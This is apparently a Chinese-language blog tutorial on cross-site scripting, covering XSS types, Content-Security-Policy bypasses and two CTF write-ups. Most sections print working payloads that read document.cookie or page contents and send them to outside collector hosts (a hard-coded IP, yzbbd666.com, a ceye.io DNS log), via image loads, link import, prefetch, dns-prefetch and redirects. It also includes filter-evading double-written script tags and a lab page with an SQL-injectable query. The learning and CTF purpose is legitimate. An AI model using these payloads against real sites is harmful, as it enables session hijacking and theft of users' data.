XSS 漏洞总结

0x00 引子

xss一直以来接触最少的类型,如今终于有幸将其总结一下了·····,xss漏洞是目前最为常见的漏洞类型之一,其触发脚本常常与js代码有关,因此要想掌握好xss必需要有深厚的js编码功底。本篇内容是我学习xss的总结,会结合着代码编写与实验,对xss进行系统的讲解,以便我更好的认识xss。
本篇内容将会分为几个章节xss简述、基于存储型xss攻击、xss绕过javascript

0x01 XSS概述

0x0 简述

XSS即跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程当中出现了不被预期的脚本指令并执行时,XSS就会发生php

关键点:
目标网站的目标用户css

  • 浏览器
  • 不被预期的: 攻击者在输入时提交了可控的脚本内容,而后在输出时被浏览器解析执行
  • “跨站脚本”重点是脚本:XSS在攻击时会嵌入一段远程的第三方域上的脚本资源。

总之,要想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解释执行html

0x1 分类

  • 反射型
    又是非持久性的,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的连接,用户访问该连接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
    一般,黑客先将恶意代码写好,而后将链接发给受害者,受害者只要点击就会出现攻击现象
  • 存储型
    持久性的,会把用户输入的数据存储到数据库中。例如,留言板等。只要用户进入页面代码将会执行
  • DOM型
    DOM型与前二者的差异是,只在客户端进行解析,不须要服务器的解析响应

0x02 基于存储型的XSS攻击

上面说了这么多仍是不知道xss攻击应该运用在哪些场景下,下面咱们把XSS分为有CSP保护和无CSP保护两个场景来实现。java

0x1 无CSP保护下的XSS

1.直接嵌入型

当过滤的东西较少时,能够优先考虑这个。这种xss触发方式比较直接,直接嵌入可以xss的js代码,下面看一个例子。node

admin访问页面mysql

<!DOCTYPE html>
<html>
<head>
    <title>xss</title>
</head>
<body>
<script> var img = new Image(); img.src = 'http://45.78.29.252:8888/?a='+document.cookie; document.getElementsByTagName("head")[0].appendChild(img); </script>
</body>
</html>

这里写图片描述

js代码将图片嵌入head中一块儿解析,左后将获取的cookie发送至xss平台jquery

2.import导入型

常常用于过滤比较严格的状况,通过实验发现link的属性rel值为import是会将资源请求回来并一同解析,注意必须是完整的资源例如HTML、PHP、JS等。请求的资源必需要设置容许跨域加载的响应头。git

admin访问页面github

<!-- 无csp 远程包含js文件 -->
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>无csp/远程包含js文件/import</title>
</head>
<body>
<link rel=import href=http://yzbbd666.com/2.php>
</body>
</html>

下面是http://yzbbd666.com/2.php文件内容注意填写Access-Control-Allow-Origin

<?php header("Access-Control-Allow-Origin: *"); echo 1; ?>
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript"> $.get("http://127.0.0.1/flag.php",function(data){ //alert(data); location.href="http://45.78.29.252:8888/?a="+escape(data); }); </script>

这里写图片描述

咱们发现访问成功了,link的import会首先将访问的资源执行因此会触发xss漏洞,将盗取的才cookie值发送至服务器

3.script导入型

通常也是输入限制比较多的时候,请求访问能够利用script的远程js加载。

admin的访问界面

<!DOCTYPE html>
<html>
<head>
    <title>xss</title>
</head>
<body>
<script src=http://yzbbd666.com/ld.js></script>
</body>
</html>

http://yzbbd666.com/ld.js内容以下,注意这里是js格式

var img = new Image();
img.src = 'http://45.78.29.252:8888/?a='+document.cookie;
document.getElementsByTagName("head")[0].appendChild(img);

最后实验截图
这里写图片描述

说明script加载并执行了远程js脚本,并将cookie发送至xss平台

0x2 有CSP保护下的XSS

CSP中文意思是内容安全策略,为了保护文档内容而实施的策略,首先简答介绍一下CSP相关内容,其次讲解一下绕过方法。

1.内容安全策略

(1) CSP策略

一个CSP头由多组CSP策略组成,中间由分号分隔,就像这样:
Content-Security-Policy: default-src ‘self’ www.baidu.com; script-src ‘unsafe-inline’
其中每一组策略包含一个策略指令和一个内容源列表

(2) 经常使用的策略指令

default-src

default-src 指令定义了那些没有被更精确指令指定的安全策略。这些指令包括:
child-src指定定义了 web workers 以及嵌套的浏览上下文
connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的链接来源。
font-src定义了字体加载的有效来源
img-src定义了页面中图片和图标的有效来源
media-src
object-src
script-src
style-src定义了页面中CSS样式的有效来源
script-src 定义了页面中Javascript的有效来源

内容源

内容源有三种:源列表、关键字和数据

源列表
源列表是一个字符串,指定了一个或多个互联网主机(经过主机名或 IP 地址),和可选的或端口号。站点地址能够包含可选的通配符前缀 (星号, ‘‘),端口号也可使用通配符 (一样是 ‘‘) 来代表全部合法端口都是有效来源。主机经过空格分隔。
有效的主机表达式包括:
http://*.foo.com (匹配全部使用 http协议加载 foo.com 任何子域名的尝试。)
mail.foo.com:443 (匹配全部访问 mail.foo.com 的 443 端口 的尝试。)
https://store.foo.com (匹配全部使用 https协议访问 store.foo.com 的尝试。)
若是端口号没有被指定,浏览器会使用指定协议的默认端口号。若是协议没有被指定,浏览器会使用访问该文档时的协议。


关键字
‘none’
表明空集;即不匹配任何 URL。两侧单引号是必须的。
‘self’
表明和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
‘unsafe-inline’
容许使用内联资源,如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素,两侧单引号是必须的。
‘unsafe-eval’
容许使用 eval() 等经过字符串建立代码的方法。两侧单引号是必须的。
Content-Security-Policy: default-src 'self' trustedscripts.foo.com

数据
data:
容许data: URI做为内容来源。
mediastream:
容许mediastream: URI做为内容来源。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

2.跳转

meta标签跳转

在default-src ‘none’的状况下,可使用meta标签实现跳转

admin访问页面

<?php header("Content-Security-Policy: default-src 'none';") ;//这里能够设置CSP ?>
<!DOCTYPE html>
<html>
<head>
    <title>XSS</title>
    <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
</head>
<body>

</body>
</html>

效果图
这里写图片描述

发现图片不能被访问,但meta标签中的内容能够被访问,成功弹至xss平台。

script脚本跳转

在容许unsafe-inline的状况下,能够用window.location,或者window.open之类的方法进行跳转绕过。

<script> window.location="http://www.xss.com/x.php?c=[cookie]"; </script>

2.prefetch预加载绕过

CSP对link标签的预加载功能考虑不完善。
在Chrome下,可使用以下标签发送cookie
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
在Firefox下,能够将cookie做为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能获得cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

实验代码
admin访问界面
注意这里容许里内联脚本,因此理所固然的可使用跳转的方法获取cookie的值。

<?php header("Content-Security-Policy: default-src 'self';script-src 'self' 'unsafe-inline';") ;//这里能够设置CSP ?>
<!DOCTYPE html>
<html>
<head>
    <title>XSS</title>
</head>
<body>

<script> var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "http://45.78.29.252:8888/?a=" + String(document.getElementsByTagName("html")[0].innerHTML).substring(0,100)); document.head.appendChild(n0t); </script>
</body>
</html>

这里写图片描述
成功获取cookie值

0x03 XSS绕过技巧

xss绕过技巧很是多这里就贴上两个连接本身看吧
lemon师傅的总结
长短短的Twitter

0x04 实例解析

这一部分呢将做为长期更新的地方若是遇到好的xss题目能够联系我,将一些不错的xss题目总结在这里,为的是把理论知识与实践相结合

0x1 htcf guestbook

从代码中咱们能够看到基本的过滤

function filter($string) {
$escape = array('\'','\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$string = preg_replace($safe, 'hacker', $string);
$xsssafe = array('img','script','on','svg','link');
$xsssafe = '/' . implode('|', $xsssafe) . '/i';
return preg_replace($xsssafe, '', $string);
}

咱们看到其实只有不多的过滤,并且是单层的,对于xss来讲,只须要复写2次就能够绕过了,相似于

scrscriptipt这样。

因此其实关键在于CSP

Content-Security-Policy:default-src 'self'; script-src 'self' 'unsafe-inline'; font-src 'self' fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'
这里上述都已经提到绕过方法主要有两种,一种直接利用跳转,第二种利用预加载
不熟悉的人可能并不清楚其中的CSP有什么样的问题,事实,整个CSP除了限定了域之外,没有作任何的限制,能够执行任意的js,这也就致使了使用人数比较多的非预期作法。

1.跳转绕过

<scrscriptipt>window.open(" http://xxxx:8080/cookie.asp?msg= "+document.body)</scrscr iptipt>

<scrscriptipt>window.locatioonn.href%3d"http%3a// www.example.com/xss/write.php%3fdomain%3d "%2bescape(document.cookie)%3b</sscriptcript>

<scrscriptipt>var a=document.createElement("a");a.href=' http://xss.com/?cookie= '+escape(document.cookie);a.click();</sscriptcript>

上面几种思路相似,经过构造新开页面或者跳转来解决域限制,因为js能够任意构造,因此这里也就经过特别的方式绕过了本来的限制。

chrome对CSP支持的不完整绕过 预加载绕过

从文章中能够得到对漏洞的总体了解,主要是2篇

第一篇

lorexxar大佬的

后台bot使用的也正是chrome浏览器,因为浏览器对CSP特性支持的不完整,致使link标签的白名单特性存在跨域请求的能力,因此构造payload

<Scscriptript>var n0t = document.createElement("liscriptnk");n0t.setAttribute("rel", "prefetch");n0t.setAttribute("href", "//xxx:2333/" + document.cookie);document.head.appendChild(n0t);</Scscriptript>

后面xss平台或者vps接受一发搞定

0x2 0ctf simplexss

这几天作得0ctf的simple xss题目,之前作题都没有作过相似的题目,xss的题目我也没有深刻研究过,就利用此次机会熟悉一下xss机制。复现一下xss环境。
实验环境:
192.168.43.182 (本地主机)
192.168.43.165 (flag所在地)

192.168.43.165


1.php
主要实现了留言板的功能

<?php #header("Content-Security-Policy: default-src 'self';") ;//这里能够设置CSP ?>
<!DOCTYPE html>
<html>
<head>
    <title>XSS</title>
</head>
<body>
<?php $a = $_GET['a']; $link = new mysqli("localhost","root","*****","test") or die("error".mysql_error()); if ($link) { echo 1; $result = $link->query("INSERT INTO yz VALUES ('$a','1','2','3')"); if($result) echo 2; $re = $link->query("SELECT * FROM yz"); for($i = 0;$i<$re->num_rows;$i++) { $row = $re->fetch_row(); echo $row[0]; } } ?>
<script > document.getElementsByClassName("input"); document. </script>
</body>
</html>

192.168.43.182

3.php

<?php header("Access-Control-Allow-Origin: *"); ?>
<script> function getinfo(str) { var node=document.createElement("script"); node.type="text/javascript"; node.src="http://192.168.43.182/2.php?a=1234"+escape(str); document.getElementsByTagName("HEAD")[0].appendChild(node); } var xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET","http://127.0.0.1/flag.php",true); xmlhttp.onreadystatechange=function() { //if (xmlhttp.readyState==4 && xmlhttp.status==200) { getinfo(xmlhttp.responseText); } } xmlhttp.send(); </script>

在本地打开浏览器输入
http://192.168.43.165/1.php?a=<link%20rel=import%20href=http://192.168.43.182/3.php>

import 会导入远程资源并执行 当flag端打开1.php查看留言板时会使得3.php脚本执行,从而将flag的内容发送至本地。